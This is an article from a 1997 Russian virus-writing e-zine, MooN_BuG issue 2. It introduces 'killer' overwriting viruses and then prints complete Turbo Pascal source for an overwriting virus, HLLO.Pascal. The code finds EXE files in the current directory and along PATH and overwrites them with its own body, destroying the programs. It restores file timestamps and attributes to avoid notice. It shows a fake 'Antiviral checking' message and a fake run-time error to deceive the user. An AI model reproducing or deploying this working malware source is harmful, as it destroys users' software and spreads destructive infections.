[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 2, May 1997                                           file 003


                               ВИРУСЫ - УБИЙЦЫ
                                               by RedArc

     Вирусу-убийце  не  нужно  заботиться  о корректности заражения программ и
запуске  программы-хозяина.  Скорость инфицирования у вирусов этого типа очень
высока,  но  и расплата тоже не маленькая - они практически не живут в "дикой"
информационной природе по причине тотальной деструктивности. Приведем исходник
такого  вируса,  но  заострять  внимание  на  нем  вряд ли стоит - впереди еще
столько интересного!

=== Cut ===
(****************************************************************************)
(*****             HLLO.Pascal (c) 1997 by RedArc // [TAVC]             *****)
(*****    Поиск EXE-программ в текущем каталоге и по переменной PATH    *****)
(*****           Запись тела вируса поверх программного кода            *****)
(*****              MooN_BuG issue 2 // Вирусы-убийцы //                *****)
(****************************************************************************)

{$A+,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10240,0,0}

PROGRAM Pascal;

USES DOS;

CONST
     MyLen = 4282; {Размер упакованного EXE-файла, содержащего тело вируса}
     Ident = 'MooN_BuG // HLLO.Pascal';

VAR
   SR : SearchRec; {Информация о найденном файле}
   FN : String;    {Имя файла}
   Dir : DirStr;   {Каталог}
   Nam : NameStr;  {Имя}
   Ext : ExtStr;   {Расширение}
   F   : File;     {hanler}

{Функция перевода строки символов в верхний регистр}
FUNCTION UpStr (S : String) : String;
VAR
   I : Byte;
BEGIN
     FOR I := 1 TO Length (S) DO
         S [I] := UpCase (S [I]);
     UpStr := S;
END;

{"Обработка" клиента}
PROCEDURE Infect_File;
VAR
   F1 : File;
   Buff : Array [1..MYLEN] Of Byte;
   B : Byte;
   W : Word;
BEGIN
     {Ассоциировать переменную F1 с файлом, содержащим запущенный код вируса}
     Assign (F1, ParamStr (0));
     ReSet (F1,1);
     IF IOResult <> 0 THEN Exit;
     {Проверка на "предельные" длины файлов}
     IF (FileSize (F) < MyLen) OR (FileSize (F) > 30*MyLen) THEN BEGIN
        Close (F1);
        Exit;
     END;
     {Перезапись тела вируса в найденный файл}
     BlockRead (F1, Buff, MyLen, W);
     BlockWrite (F, Buff, MyLen, W);
     Close (F1);
END;

{Поиск в текущем каталоге}
PROCEDURE Find_In_To_Current_Directory;
VAR
   FAttr : Word;    {Атрибуты файла}
   FTime : LongInt; {Время создания файла}
BEGIN
     {Поиск первого EXE-файла с любым атрибутом}
     FindFirst('*.EXE', AnyFile, SR);
     While DosError = 0 do begin
           {Доступ к открываемому файлу в режиме Read/Write}
           FileMode := 2;
           {Разбор имени файла на составляющие}
           FSplit (SR.Name, Dir, Nam, Ext);
           {Связь переменной F с найденным физическим файлом}
           Assign (F, SR.Name);
           {Получить атрибуты файла}
           GetFAttr (F, FAttr);
           {Установить атрибут "архивный" и очистить остальные}
           SetFAttr (F, Archive);
           {Открыть файл с размером буфера чтения/записи в один байт}
           ReSet (F, 1);
           {Если нет ошибки доступа к файлу}
           IF IOResult = 0 THEN BEGIN
              {Запомнить временные характеристики файла}
              GetFTime (F, FTime);
              {"Обработать" клиента}
              Infect_File;
              {Восстановить временные характеристики файла}
              SetFTime (F, FTime);
              {Закрыть файл}
              Close (F);
              {Восстановить атрибуты файла}
              SetFAttr (F, FAttr);
           END;
           {Поиск следующего файла по шаблону}
           FindNext(SR);
     End;
END;

{Перебор каталогов, указанных в переменной PATH}
PROCEDURE Search_From_PATH;
VAR
   PS : String;
   Home : String;
   S : String;
   Ch : Char;
   I : Byte;
BEGIN
   GetDir (0, Home);
   PS := GetEnv ('PATH');
   S := '';
   I := 1;
   REPEAT
         IF I >= Length (PS)+1 THEN BEGIN
            IF S <> '' THEN BEGIN
               IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
               ChDir (S);
               IF IOResult = 0 THEN
                  Find_In_To_Current_Directory;
            END;
            Break;
         END;
         Ch := PS [I];
         Inc (I);
         IF Ch <> ';' THEN S := S + Ch ELSE BEGIN
            IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
            ChDir (S);
            IF IOResult <> 0 THEN BEGIN
               WriteLn (Ident); {Сообщение идентификационной информации}
               S := '';
               Continue;
            END;
            Find_In_To_Current_Directory;
            S := '';
         END;
   UNTIL False;
   ChDir (Home);
END;

BEGIN
     {Сообщение с просьбой подождать}
     WriteLn ('Antiviral checking...');
     {Поиск в текущем каталоге}
     Find_In_To_Current_Directory;
     {Поиск по PATH}
     Search_From_PATH;
     {Сообщение об отказе запуска программы-носителя}
     WriteLn ('Run-time error 219 at 0000:DEAD');
END.
=== Cut ===